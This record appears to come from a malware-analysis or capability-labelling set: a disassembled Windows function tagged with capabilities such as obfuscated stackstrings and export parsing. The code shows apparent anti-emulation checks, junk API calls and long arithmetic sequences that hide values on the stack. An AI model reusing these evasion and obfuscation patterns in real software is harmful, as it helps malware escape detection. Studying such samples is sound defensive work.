Function at 0x40116f
Capabilities:
Contain obfuscated stackstrings
Create process on windows
Resolve function by parsing pe exports
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x37c
mov eax, dword [0x41c004]
xor eax, esp
mov dword [esp + 0x378], eax
push ebx
push esi
push edi
xor edi, edi
xor ebx, ebx
push edi
push edi
inc ebx
push ebx
push edi
call dword [sym.imp.USER32.dll_PostMessageW]
push edi
push edi
push edi
push edi
lea eax, [esp + 0x31c]
push eax
call dword [sym.imp.USER32.dll_PeekMessageW]
cmp dword [esp + 0x318], 0x159
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
jne 0x4013a2
push 0x41da70
call dword [sym.imp.KERNEL32.dll_lstrlenA]
cmp eax, 0x216
jle 0x4013a2
push edi
push edi
call esi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
push edi
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetProcessTimes]
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetProcessWorkingSetSize]
push edi
push edi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetLongPathNameA]
call edi
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.SHELL32.dll_ShellAboutW]
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
xor eax, eax
push eax
push eax
push eax
call dword [sym.imp.USER32.dll_ShowScrollBar]
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.USER32.dll_GetScrollRange]
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call dword [sym.imp.USER32.dll_SetScrollRange]
push 0
push 0
call dword [sym.imp.USER32.dll_GetPropW]
xor eax, eax
push eax
push eax
push eax
call dword [sym.imp.USER32.dll_SetPropA]
xor eax, eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
jne 0x40126f
push eax
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
xor eax, eax
push eax
push eax
push eax
call dword [sym.imp.USER32.dll_EnableScrollBar]
xor eax, eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 0
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetProcessAffinityMask]
xor eax, eax
push eax
push eax
push eax
call edi
xor edi, edi
lea ecx, [esp + 0x338]
push str.xafogodatokedanofijo
mov dword [esp + 0x32c], edi
mov dword [esp + 0x330], edi
mov dword [esp + 0x334], edi
call fcn.00402c4b
lea eax, [esp + 0x338]
push eax
lea ecx, [esp + 0x32c]
call fcn.00402b7d
push edi
push ebx
lea ecx, [esp + 0x340]
call fcn.00402ceb
push str.wobirodavaxe_cohewavezexupemabujo_noguduzilevebutu
lea ecx, [esp + 0x33c]
call fcn.00402c4b
lea eax, [esp + 0x338]
push eax
lea ecx, [esp + 0x32c]
call fcn.00402b7d
push edi
push ebx
lea ecx, [esp + 0x340]
call fcn.00402ceb
movsd xmm0, qword [0x419a30]
push ecx
push ecx
movsd qword [esp], xmm0
call fcn.00405700
fstp st(0)
push edi
call fcn.00406e66
push ebx
push 0x165dab9
call fcn.004056e7
movaps xmm0, xmmword [0x419a40]
pop ecx
movups xmmword [esp], xmm0
call fcn.00405800
add esp, 0x10
fstp st(0)
push str.giveletunilizarole_duvunewiwivefa_wezekawude
push edi
push str.suxokuxe_yeguhajeravatajizitelujumamaca_dehigexibicewukehedihove
push 0xcad
push 0x41d270
call fcn.00401000
push dword [eax + 4]
push dword [eax]
call fcn.00406b51
add esp, 0x1c
push edi
call dword [sym.imp.USER32.dll_GetDC]
push edi
push edi
call dword [sym.imp.USER32.dll_BeginPaint]
lea ecx, [esp + 0x328]
call fcn.00402b24
push edi
push edi
call esi
mov esi, edi
mov edi, dword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
test bl, bl
je 0x40144d
lea eax, [esp + 0x328]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemTime]
lea eax, [esp + 0x350]
push eax
push 0
call edi
xor eax, eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetAtomNameW]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileType]
cmp esi, 0x18364c
jle 0x401427
mov eax, 0x3039
cmp word [esp + 0x32c], ax
je 0x401427
cmp dword [esp + 0x35c], 0x344631
je 0x401427
cmp dword [esp + 0x304], 0x20f6580
je 0x401427
xor ecx, ecx
movzx ebx, bl
cmp dword [esp + 0x1f4], 0x52cca9
cmovne ebx, ecx
cmp dword [0x41e278], 0
jne 0x401440
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [0x41e278], eax
inc esi
cmp esi, 0x8b9a6f96
jb 0x4013ae
mov dword [esp + 0x1c], 0x7531c095
mov dword [esp + 0x40], 0x60f64223
mov dword [esp + 0x7c], 0x3f2a369b
mov dword [esp + 0x18], 0x6a7bfe4f
mov dword [esp + 0x2c], 0x51dd9304
mov dword [esp + 0x10], 0x11e91607
mov dword [esp + 0x5c], 0x9c147b2
mov dword [esp + 0x24], 0x78b9977e
mov dword [esp + 0x3c], 0x2cfe3196
mov dword [esp + 0x28], 0x6989cad6
mov dword [esp + 0x30], 0x53c9c0d
mov dword [esp + 0x15c], 0x4f815cb2
mov dword [esp + 0x38], 0x5a83c71d
mov dword [esp + 0x88], 0x159cb982
mov dword [esp + 0xb8], 0x4a012421
mov dword [esp + 0x34], 0x554e3e96
mov dword [esp + 0x20], 0x26d7a212
mov dword [esp + 0x64], 0xe69c0e8
mov dword [esp + 0xc], 0x47b5beff
mov dword [esp + 0x60], 0x6dba978b
mov dword [esp + 0x14], 0x5f6ed7d8
mov dword [esp + 0x74], 0x1fa0d9d7
mov dword [esp + 0xac], 0x5ff79386
mov dword [esp + 0xbc], 0x5ccb8811
mov dword [esp + 0xcc], 0x6942ede8
mov dword [esp + 0x130], 0x2bab593e
mov dword [esp + 0x68], 0x420b16d4
mov dword [esp + 0x50], 0x35f65b10
mov dword [esp + 0x48], 0x38139388
mov dword [esp + 0x70], 0x1923ad91
mov dword [esp + 0x58], 0x12a74e49
mov dword [esp + 0x44], 0x355c9541
mov dword [esp + 0x78], 0x7db1e393
mov dword [esp + 0x84], 0x705aa760
mov dword [esp + 0x8c], 0x2b354931
mov dword [esp + 0x134], 0x3e85f8d7
mov dword [esp + 0xb0], 0x28194742
mov dword [esp + 0xf4], 0x60a067f9
mov dword [esp + 0x150], 0x7df8e82b
mov dword [esp + 0x110], 0x55526949
mov dword [esp + 0xf0], 0x4aa25f85
mov dword [esp + 0x90], 0xc8e0ae9
mov dword [esp + 0x178], 0x5495159
mov dword [esp + 0x94], 0x142353f4
mov dword [esp + 0x164], 0x3d859609
mov dword [esp + 0x168], 0x7cb560c6
mov dword [esp + 0xc0], 0x449cf19c
mov dword [esp + 0x4c], 0x44127fc0
mov dword [esp + 0x154], 0x63b30ed7
mov dword [esp + 0xf8], 0x1fa167d7
mov dword [esp + 0x1ec], 0x632393e5
mov dword [esp + 0x12c], 0x539fe5f0
mov dword [esp + 0xd8], 0x4c45b238
mov dword [esp + 0xc8], 0x5081aff5
mov dword [esp + 0xa4], 0x21ea129d
mov dword [esp + 0x13c], 0x4ee82ab8
mov dword [esp + 0x100], 0x7fbda1c0
mov dword [esp + 0xdc], 0x29431919
mov dword [esp + 0x140], 0x45c10dc9
mov dword [esp + 0x138], 0x8cac768
mov dword [esp + 0x9c], 0x33dbc609
mov dword [esp + 0x1f8], 0x1b6cc5bb
mov dword [esp + 0xd0], 0xd2c2a30
mov dword [esp + 0x80], 0x5cb3ee02
mov dword [esp + 0x148], 0x1a881431
mov dword [esp + 0x1a8], 0x2423b0f4
mov dword [esp + 0xa0], 0x4d7328cd
mov dword [esp + 0xa8], 0x4a4f3cec
mov dword [esp + 0xe4], 0x26e49f22
mov dword [esp + 0x158], 0x379e4077
mov dword [esp + 0x54], 0x4dc1724
mov dword [esp + 0x98], 0x60737d72
mov dword [esp + 0x1fc], 0x7436c79f
mov dword [esp + 0x19c], 0x23a2d62a
mov dword [esp + 0x144], 0x58aa3346
mov dword [esp + 0x200], 0x62db80f8
mov dword [esp + 0xec], 0x5bc4f33f
mov dword [esp + 0xe0], 0x61dd2231
mov dword [esp + 0x1e4], 0x643911ef
mov dword [esp + 0x16c], 0x58f54e32
mov dword [esp + 0x14c], 0xee9ca75
mov dword [esp + 0x1c4], 0x543054be
mov dword [esp + 0x160], 0x7f305291
mov dword [esp + 0x204], 0x1f159b2
mov dword [esp + 0x1b8], 0x4fecd01b
mov dword [esp + 0x10c], 0x48a2aa63
mov dword [esp + 0x1a4], 0x206a8c1b
mov dword [esp + 0x170], 0x333f4cdf
mov dword [esp + 0x1b0], 0x65453f6e
mov dword [esp + 0xc4], 0x4e8673cf
mov dword [esp + 0x108], 0x517b14bc
mov dword [esp + 0x174], 0x724ad75f
mov dword [esp + 0x1d4], 0x36a9e49d
mov dword [esp + 0xd4], 0x4a8f6cdc
mov dword [esp + 0x118], 0x27931866
mov dword [esp + 0x194], 0x336d049
mov dword [esp + 0x208], 0x670e36f2
mov dword [esp + 0x20c], 0x18696a1f
mov dword [esp + 0x1bc], 0xdb60ce4
mov dword [esp + 0x104], 0x44f5f4a0
mov dword [esp + 0x210], 0x5184f940
mov dword [esp + 0x180], 0x3b9fc8f2
mov dword [esp + 0x188], 0x78270658
mov dword [esp + 0xe8], 0x365ec9e2
mov dword [esp + 0x1b4], 0x73ad04f1
mov dword [esp + 0x214], 0x1ad9ca81
mov dword [esp + 0x1e8], 0x507f43b2
mov dword [esp + 0x124], 0x2ed503e4
mov dword [esp + 0x218], 0x5b07c1d9
mov dword [esp + 0x120], 0x5c7235e
mov dword [esp + 0x18c], 0x4956bdf0
mov dword [esp + 0x21c], 0x40ca31fe
mov dword [esp + 0xfc], 0x633cee7
mov dword [esp + 0x114], 0x63de298e
mov dword [esp + 0x220], 0x6d3ce7df
mov dword [esp + 0x6c], 0x3a90dfe2
mov dword [esp + 0x1f0], 0x8bdd06c
mov dword [esp + 0x1ac], 0x37379759
mov dword [esp + 0x128], 0x3d7689d1
mov dword [esp + 0x1dc], 0x2c291ec6
mov dword [esp + 0x224], 0x2ac91bb9
mov dword [esp + 0x190], 0x77074d5
mov dword [esp + 0x228], 0x5429525e
mov dword [esp + 0x22c], 0x2a6c89db
mov dword [esp + 0x184], 0x375a04cd
mov dword [esp + 0x230], 0x287e1329
mov dword [esp + 0x234], 0x3b252261
mov dword [esp + 0x238], 0x43d4e265
mov dword [esp + 0x17c], 0x6e59f369
mov dword [esp + 0x23c], 0x5f160703
mov dword [esp + 0x240], 0x24fa614a
mov dword [esp + 0x244], 0x1478ca52
mov dword [esp + 0x248], 0x1f40c915
mov dword [esp + 0x24c], 0x59af4a02
mov dword [esp + 0x1a0], 0x57122b8e
mov dword [esp + 0x250], 0x550a3fb7
mov dword [esp + 0x198], 0x2fcf29e9
mov dword [esp + 0x1d0], 0x53f2cadd
mov dword [esp + 0x1c0], 0x68c0e83
mov dword [esp + 0x1c8], 0x5fadf344
mov dword [esp + 0x254], 0x75304cf
mov dword [esp + 0x258], 0x673d8751
mov dword [esp + 0x11c], 0xac86b54
mov dword [esp + 0x25c], 0x1d738a96
mov dword [esp + 0x1e0], 0x2d4336a1
mov dword [esp + 0x1d8], 0x6f05778e
mov dword [esp + 0x260], 0x5cd2d491
mov dword [esp + 0x264], 0xa724779
mov dword [esp + 0x1cc], 0x54b56462
mov dword [esp + 0x268], 0x3e92095e
mov dword [esp + 0x26c], 0x7a549935
mov dword [esp + 0x270], 0x15acc2ba
mov dword [esp + 0x274], 0x7d548909
mov dword [esp + 0x278], 0x48a39299
mov dword [esp + 0x27c], 0x2fbf5f8d
mov dword [esp + 0x280], 0x58050590
mov dword [esp + 0x284], 0x13d4ffdd
mov dword [esp + 0x288], 0x68814f5d
mov dword [esp + 0x28c], 0x6559d42d
mov dword [esp + 0x290], 0x862ce72
mov dword [esp + 0x294], 0x3babaeb1
mov dword [esp + 0x298], 0x16f4d6db
mov dword [esp + 0x29c], 0x76fd0fc
mov dword [esp + 0x2a0], 0x440edd91
mov dword [esp + 0x2a4], 0x3702f562
mov dword [esp + 0x2a8], 0x36e3e5ad
mov dword [esp + 0x2ac], 0x18f385f9
mov dword [esp + 0x2b0], 0x5f486a9b
mov dword [esp + 0x2b4], 0x5ea5e91e
mov dword [esp + 0x2b8], 0x68fec957
mov dword [esp + 0x2bc], 0xa95a917
mov dword [esp + 0x2c0], 0x44c66310
mov dword [esp + 0x2c4], 0x2cd902c8
mov dword [esp + 0x2c8], 0x56007a94
mov dword [esp + 0x2cc], 0x22ca42a
mov dword [esp + 0x2d0], 0x18ab7394
mov dword [esp + 0x2d4], 0x7fb74c12
mov dword [esp + 0x2d8], 0x3842be53
mov dword [esp + 0x2dc], 0x6c86162d
mov dword [esp + 0x2e0], 0x4165bc64
mov dword [esp + 0x2e4], 0x351d9b6e
mov dword [esp + 0x2e8], 0x3dc38b6c
mov dword [esp + 0x2ec], 0x48a47fdd
mov dword [esp + 0x2f0], 0x33fa9f9c
add dword [esp + 0x1c], 0x264e32df
sub dword [esp + 0x40], 0x25b44981
add dword [esp + 0x18], 0x4fa07077
sub dword [esp + 0x40], 0x12ce1932
add dword [esp + 0x10], 0x1f9752a6
add dword [esp + 0x18], 0x36efabb
sub dword [esp + 0x10], 0xbf5bed0
mov eax, 0x65666bbc
mul dword [esp + 0x10]
mov eax, dword [esp + 0x10]
add dword [esp + 0x18], 0x41e10919
mov eax, 0x35d525ce
mul dword [esp + 0x7c]
mov eax, dword [esp + 0x7c]
sub dword [esp + 0x10], 0x59543bcd
add dword [esp + 0x2c], 0x2bca868b
sub dword [esp + 0x7c], 0x5e7b8c7f
add dword [esp + 0x10], 0xcab5b42
add dword [esp + 0x2c], 0x40e07a49
mov eax, 0x1707fa87
mul dword [esp + 0x18]
mov eax, dword [esp + 0x18]
mov eax, 0x1871f51f
mul dword [esp + 0x10]
mov eax, dword [esp + 0x10]
add dword [esp + 0x2c], 0x2876f511
mov eax, 0x4d75124e
mul dword [esp + 0x1c]
mov eax, dword [esp + 0x1c]
add dword [esp + 0x1c], 0x519d794
add dword [esp + 0x10], 0x1fe98631
sub dword [esp + 0x10], 0x8b55ed6
sub dword [esp + 0x5c], 0x602202a1
sub dword [esp + 0x10], 0x573a9a4a
mov eax, 0x324d1d23
mul dword [esp + 0x3c]
mov eax, dword [esp + 0x3c]
add dword [esp + 0x30], 0x758aae98
add dword [esp + 0x18], 0x5a1584d8
add dword [esp + 0x18], 0x591539bd
add dword [esp + 0x5c], 0x49fa4bfc
mov eax, 0xa960cc3
mul dword [esp + 0x34]
mov eax, dword [esp + 0x34]
add dword [esp + 0x64], 0x71510255
add dword [esp + 0x1c], 0x352e9b9e
mov eax, 0x417fc65
mul dword [esp + 0x38]
mov eax, dword [esp + 0x38]
sub dword [esp + 0xc], 0x62943add
sub dword [esp + 0x1c], 0x788e883d
sub dword [esp + 0x14], 0x1ad1563e
add dword [esp + 0x14], 0x45768069
mov eax, 0x52859ab
mul dword [esp + 0x38]
mov eax, dword [esp + 0x38]
mov eax, 0x24b1fb07
mul dword [esp + 0x24]
mov eax, dword [esp + 0x24]
add dword [esp + 0x20], 0x51997f39
mov eax, 0x20df69e6
mul dword [esp + 0x68]
mov eax, dword [esp + 0x68]
sub dword [esp + 0xbc], 0x56b3e4f3
sub dword [esp + 0x130], 0x6770e288
mov eax, 0x9f1756e
mul dword [esp + 0x64]
mov eax, dword [esp + 0x64]
mov eax, 0x758222a0
mul dword [esp + 0xb8]
mov eax, dword [esp + 0xb8]
mov eax, 0x3a41c5b3
mul dword [esp + 0x5c]
mov eax, dword [esp + 0x5c]
sub dword [esp + 0x34], 0x59a851c9
sub dword [esp + 0x28], 0x607c606f
add dword [esp + 0x88], 0x22febfba
add dword [esp + 0x40], 0x1e3c0b2d
mov eax, 0x2d52a15b
mul dword [esp + 0x34]
mov eax, dword [esp + 0x34]
add dword [esp + 0xcc], 0x588c98e7
sub dword [esp + 0x28], 0x454e2e0d
add dword [esp + 0x3c], 0x2ae53e2c
mov eax, 0xcfe23ab
mul dword [esp + 0x60]
mov eax, dword [esp + 0x60]
add dword [esp + 0xc], 0x25f51793
add dword [esp + 0x38], 0x1eba76f4
add dword [esp + 0x3c], 0x31119f5e
mov eax, 0x49e88fc0
mul dword [esp + 0x3c]
mov eax, dword [esp + 0x3c]
mov eax, 0x5ac3ce93
mul dword [esp + 0x28]
mov eax, dword [esp + 0x28]
sub dword [esp + 0xc], 0x977fd6d
sub dword [esp + 0x10], 0x293d23c8
sub dword [esp + 0x30], 0x2240ba78
add dword [esp + 0x1c], 0x68defc8b
sub dword [esp + 0x74], 0x2cc12bd5
add dword [esp + 0xc], 0x7963897b
mov eax, 0x53f8c4e3
mul dword [esp + 0x38]
mov eax, dword [esp + 0x38]
sub dword [esp + 0x28], 0x44f757aa
sub dword [esp + 0x48], 0x636c4229
sub dword [esp + 0xac], 0x12f5c59c
sub dword [esp + 0xc], 0x61ba1e11
sub dword [esp + 0x34], 0x626ce8f0
sub dword [esp + 0xc], 0x68fd8e96
add dword [esp + 0x44], 0x1002c780
mov eax, 0x1cf055cb
mul dword [esp + 0xc]
mov eax, dword [esp + 0xc]
mov eax, 0x7ebe1153
mul dword [esp + 0x48]
mov eax, dword [esp + 0x48]
add dword [esp + 0x34], 0x3e5924ec
add dword [esp + 0x48], 0x246c1d48
sub dword [esp + 0x44], 0x6cde314a
add dword [esp + 0x8c], 0xfdbf759
sub dword [esp + 0x134], 0x6dcc95e0
mov eax, 0x4e5f9923
mul dword [esp + 0x78]
mov eax, dword [esp + 0x78]
sub dword [esp + 0xac], 0x41c741d8
sub dword [esp + 0x30], 0x4ee3051b
add dword [esp + 0xb8], 0x62edbc40
add dword [esp + 0x20], 0x43128bea
sub dword [esp + 0x70], 0x4063b223
add dword [esp + 0x44], 0x14b73f5e
sub dword [esp + 0x68], 0x7665bb9e
sub dword [esp + 0x58], 0x3457a407
add dword [esp + 0x60], 0x5e87763b
sub dword [esp + 0x44], 0x126b14f2
sub dword [esp + 0x18], 0x421e0b04
mov eax, 0x48a68fb2
mul dword [esp + 0x14]
mov eax, dword [esp + 0x14]
add dword [esp + 0x84], 0x3372c116
sub dword [esp + 0x4c], 0x35dd366f
sub dword [esp + 0x38], 0x44d05e08
mov eax, 0x1ec4c18e
mul dword [esp + 0xc0]
mov eax, dword [esp + 0xc0]
mov eax, 0x683163c9
mul dword [esp + 0x28]
mov eax, dword [esp + 0x28]
add dword [esp + 0x84], 0xc9dff6f
add dword [esp + 0x4c], 0x48945f9c
add dword [esp + 0x12c], 0x389acdd7
add dword [esp + 0x84], 0x5a449137
sub dword [esp + 0x50], 0x3dbe72c5
add dword [esp + 0x88], 0x2576991
add dword [esp + 0x18], 0x769f479a
add dword [esp + 0x20], 0x5b69746f
sub dword [esp + 0x24], 0x1093db09
mov eax, 0x3594b1f5
mul dword [esp + 0xa4]
mov eax, dword [esp + 0xa4]
mov eax, 0x4f1b0cc8
mul dword [esp + 0x3c]
mov eax, dword [esp + 0x3c]
sub dword [esp + 0xc8], 0x1544df3a
add dword [esp + 0x138], 0x1b5b1e02
sub dword [esp + 0x13c], 0x370d9fb0
sub dword [esp + 0x14], 0x4cc65ebd
sub dword [esp + 0x20], 0x528dc331
mov eax, 0x5bf673ea
mul dword [esp + 0x14]
mov eax, dword [esp + 0x14]
sub dword [esp + 0x2c], 0x52daf188
add dword [esp + 0x9c], 0x7a5eeceb
mov eax, 0x660c0ff4
mul dword [esp + 0x94]
mov eax, dword [esp + 0x94]
sub dword [esp + 0xc], 0x15624716
sub dword [esp + 0x30], 0x3b3abe10
add dword [esp + 0x58], 0x375f5290
add dword [esp + 0x140], 0x1a5c576b
add dword [esp + 0x74], 0x149ae57f
sub dword [esp + 0xbc], 0x709137eb
sub dword [esp + 0x24], 0x15ccbe19
mov eax, 0x74e2854d
mul dword [esp + 0x40]
mov eax, dword [esp + 0x40]
sub dword [esp + 0x80], 0x4f3ebaed
add dword [esp + 0xb0], 0x43a94e40
add dword [esp + 0xd0], 0x6e3cb1e2
add dword [esp + 0xc], 0x7711599e
sub dword [esp + 0x54], 0x5bea863d
add dword [esp + 0x144], 0x2612c5c9
mov eax, 0x332c8c5c
mul dword [esp + 0x50]
mov eax, dword [esp + 0x50]
add dword [esp + 0x1c], 0x346dceb
sub dword [esp + 0x78], 0x6db23724
sub dword [esp + 0xa4], 0x31866cf0
sub dword [esp + 0x148], 0x27d8b8d6
add dword [esp + 0x2c], 0x4e02c303
mov eax, 0x6889f0ff
mul dword [esp + 0x24]
mov eax, dword [esp + 0x24]
add dword [esp + 0x54], 0x3078724f
mov eax, 0x2721a40d
mul dword [esp + 0xa0]
mov eax, dword [esp + 0xa0]
sub dword [esp + 0x88], 0x7dff0903
sub dword [esp + 0x8c], 0x5f2fefc1
mov eax, 0x64075e9f
mul dword [esp + 0x14c]
mov eax, dword [esp + 0x14c]
add dword [esp + 0x28], 0x3fafc8e9
add dword [esp + 0x50], 0x321fe817
add dword [esp + 0x74], 0x2d6d1b7b
mov eax, 0x55d1782d
mul dword [esp + 0x80]
mov eax, dword [esp + 0x80]
sub dword [esp + 0x68], 0x5f349b06
add dword [esp + 0x24], 0x1cb33857
sub dword [esp + 0xc4], 0x43915d8c
add dword [esp + 0x98], 0x67bb2819
sub dword [esp + 0xc0], 0x40594a32
mov eax, 0x4be4d7ff
mul dword [esp + 0x40]
mov eax, dword [esp + 0x40]
sub dword [esp + 0x5c], 0x6bd6512a
mov eax, 0x25dbbc12
mul dword [esp + 0xc4]
mov eax, dword [esp + 0xc4]
mov eax, 0x2f3678f5
mul dword [esp + 0x90]
mov eax, dword [esp + 0x90]
mov eax, 0x4d69c4c6
mul dword [esp + 0x98]
mov eax, dword [esp + 0x98]
add dword [esp + 0x4c], 0xe203f44
add dword [esp + 0x150], 0x2381a095
add dword [esp + 0xdc], 0x6bd25cbb
add dword [esp + 0x8c], 0x1929ce7f
sub dword [esp + 0xd8], 0x16a040ef
add dword [esp + 0x90], 0xb82c50a
mov eax, 0x10a9251c
mul dword [esp + 0x9c]
mov eax, dword [esp + 0x9c]
sub dword [esp + 0xd4], 0x1951c9cf
mov eax, 0x72f11ce8
mul dword [esp + 0x154]
mov eax, dword [esp + 0x154]
mov eax, 0x6fa0d6fe
mul dword [esp + 0x64]
mov eax, dword [esp + 0x64]
mov eax, 0x1ec752a9
mul dword [esp + 0x158]
mov eax, dword [esp + 0x158]
add dword [esp + 0x78], 0xbc019e
add dword [esp + 0x108], 0x3300d70a
sub dword [esp + 0x54], 0x70783c49
mov eax, 0x1ba0f145
mul dword [esp + 0x94]
mov eax, dword [esp + 0x94]
mov eax, 0x55f5e987
mul dword [esp + 0x15c]
mov eax, dword [esp + 0x15c]
mov eax, 0x14fe9abd
mul dword [esp + 0xc8]
mov eax, dword [esp + 0xc8]
sub dword [esp + 0xcc], 0x4247c3b7
sub dword [esp + 0x160], 0x5fc528e4
sub dword [esp + 0x164], 0x535934c4
mov eax, 0x330aa7d9
mul dword [esp + 0x1c]
mov eax, dword [esp + 0x1c]
add dword [esp + 0x60], 0x51fc30a7
sub dword [esp + 0xe4], 0x2a2b9ed8
sub dword [esp + 0x20], 0x51f96b3e
mov eax, 0x58f59570
mul dword [esp + 0x90]
mov eax, dword [esp + 0x90]
mov eax, 0x32d4e090
mul dword [esp + 0x20]
mov eax, dword [esp + 0x20]
mov eax, 0x71953728
mul dword [esp + 0xf8]
mov eax, dword [esp + 0xf8]
add dword [esp + 0xd0], 0x17ea5784
mov eax, 0x612823c1
mul dword [esp + 0xec]
mov eax, dword [esp + 0xec]
add dword [esp + 0xf4], 0x6e202d22
sub dword [esp + 0x94], 0x2696b456
sub dword [esp + 0xc], 0x206cd113
add dword [esp + 0xd4], 0x5c583f33
sub dword [esp + 0x168], 0x7783f524
sub dword [esp + 0xe0], 0x37b8e39e
sub dword [esp + 0xd8], 0x27bf08c0
add dword [esp + 0x54], 0x2721910c
sub dword [esp + 0xfc], 0x43d4ceea
sub dword [esp + 0x124], 0x7d99682
add dword [esp + 0x98], 0x66a211e9
sub dword [esp + 0xdc], 0x55bd0170
mov eax, 0x48d1c181
mul dword [esp + 0x16c]
mov eax, dword [esp + 0x16c]
mov eax, 0x2aa7cdd6
mul dword [esp + 0x170]
mov eax, dword [esp + 0x170]
sub dword [esp + 0x6c], 0x696d808f
add dword [esp + 0x44], 0x4e3de8f0
mov eax, 0x6f3be254
mul dword [esp + 0x174]
mov eax, dword [esp + 0x174]
sub dword [esp + 0x9c], 0x633b7068
sub dword [esp + 0xa8], 0x201b03c6
mov eax, 0x198d337d
mul dword [esp + 0xe8]
mov eax, dword [esp + 0xe8]
mov eax, 0x5002fc9a
mul dword [esp + 0x128]
mov eax, dword [esp + 0x128]
mov eax, 0x6689f2af
mul dword [esp + 0x48]
mov eax, dword [esp + 0x48]
add dword [esp + 0x178], 0x88ef1c2
add dword [esp + 0xb0], 0x7de9c1c8
sub dword [esp + 0x104], 0x71fbf3a
mov eax, 0x5cddcd30
mul dword [esp + 0x17c]
mov eax, dword [esp + 0x17c]
add dword [esp + 0x114], 0x3bb3e25f
mov eax, 0x7142facc
mul dword [esp + 0x70]
mov eax, dword [esp + 0x70]
mov eax, 0x26bc8af6
mul dword [esp + 0x48]
mov eax, dword [esp + 0x48]
mov eax, 0x1d756088
mul dword [esp + 0x180]
mov eax, dword [esp + 0x180]
sub dword [esp + 0x184], 0x201029f2
add dword [esp + 0x188], 0xb862358
add dword [esp + 0x2c], 0x6d3cfab7
mov eax, 0x5665a4d8
mul dword [esp + 0x18c]
mov eax, dword [esp + 0x18c]
add dword [esp + 0xe0], 0xb9396d8
mov eax, 0x74a81278
mul dword [esp + 0x30]
mov eax, dword [esp + 0x30]
sub dword [esp + 0x190], 0x707ebb84
add dword [esp + 0x6c], 0x28e8b8c5
sub dword [esp + 0x120], 0x62c149f5
mov eax, 0x1c4df568
mul dword [esp + 0xe4]
mov eax, dword [esp + 0xe4]
mov eax, 0x5a261a1c
mul dword [esp + 0x194]
mov eax, dword [esp + 0x194]
mov eax, 0x2b6674cd
mul dword [esp + 0xe8]
mov eax, dword [esp + 0xe8]
add dword [esp + 0xa0], 0x67b6008f
mov eax, 0x18276837
mul dword [esp + 0x4c]
mov eax, dword [esp + 0x4c]
sub dword [esp + 0x198], 0xe0d3f1c
add dword [esp + 0x19c], 0x2b81b9fc
mov eax, 0x321c4c12
mul dword [esp + 0x50]
mov eax, dword [esp + 0x50]
mov eax, 0x33416fb2
mul dword [esp + 0xa0]
mov eax, dword [esp + 0xa0]
sub dword [esp + 0xc], 0x3777aa51
sub dword [esp + 0x24], 0x4e215e1c
sub dword [esp + 0xec], 0x341be37c
add dword [esp + 0x60], 0x7ade287f
mov eax, 0x272d588a
mul dword [esp + 0x1a0]
mov eax, dword [esp + 0x1a0]
sub dword [esp + 0xf0], 0x48f1dafa
add dword [esp + 0x1a4], 0x4b8b4341
mov eax, 0x3e7c3c68
mul dword [esp + 0x80]
mov eax, dword [esp + 0x80]
mov eax, 0x16656f9
mul dword [esp + 0x4c]
mov eax, dword [esp + 0x4c]
sub dword [esp + 0x1a8], 0x28ef596b
add dword [esp + 0x64], 0x3c986db4
mov eax, 0x57f2cdd2
mul dword [esp + 0x50]
mov eax, dword [esp + 0x50]
add dword [esp + 0x100], 0x4b3700a4
sub dword [esp + 0x68], 0xb740007
add dword [esp + 0x70], 0x71dd4aac
sub dword [esp + 0x6c], 0x5157adde
add dword [esp + 0x1ac], 0x145b8778
mov eax, 0x14b2473d
mul dword [esp + 0x1b0]
mov eax, dword [esp + 0x1b0]
sub dword [esp + 0x20], 0x7ec6e09f
mov eax, 0x6814cb42
mul dword [esp + 0xf0]
mov eax, dword [esp + 0xf0]
sub dword [esp + 0x30], 0x73078a28
add dword [esp + 0x6c], 0x15c27994
mov eax, 0x51012078
mul dword [esp + 0x10]
mov eax, dword [esp + 0x10]
mov eax, 0x211dfd52
mul dword [esp + 0xc]
mov eax, dword [esp + 0xc]
mov eax, 0x6ae64dd6
mul dword [esp + 0x1b4]
mov eax, dword [esp + 0x1b4]
mov eax, 0x6a15202c
mul dword [esp + 0x1b8]
mov eax, dword [esp + 0x1b8]
add dword [esp + 0xf4], 0x1204f48d
mov eax, 0x3fad173a
mul dword [esp + 0xa8]
mov eax, dword [esp + 0xa8]
sub dword [esp + 0xa4], 0x4961259f
sub dword [esp + 0xf8], 0x13817b1
mov eax, 0x7f664d87
mul dword [esp + 0x10c]
mov eax, dword [esp + 0x10c]
add dword [esp + 0xa8], 0x3a8bc60e
sub dword [esp + 0x70], 0x2cf77873
sub dword [esp + 0x1bc], 0x612f9fe9
sub dword [esp + 0x14], 0x35317411
mov eax, 0x7b159b38
mul dword [esp + 0x14]
mov eax, dword [esp + 0x14]
add dword [esp + 0xac], 0x64023ab2
sub dword [esp + 0xfc], 0x6c6261a5
mov eax, 0x7f26893
mul dword [esp + 0x118]
mov eax, dword [esp + 0x118]
mov eax, 0x6f052347
mul dword [esp + 0x100]
mov eax, dword [esp + 0x100]
add dword [esp + 0x34], 0x6722519f
add dword [esp + 0x11c], 0x287c7f2a
mov eax, 0x20c637e6
mul dword [esp + 0x7c]
mov eax, dword [esp + 0x7c]
sub dword [esp + 0x1c0], 0x7670a287
mov eax, 0x5eb2b91f
mul dword [esp + 0x74]
mov eax, dword [esp + 0x74]
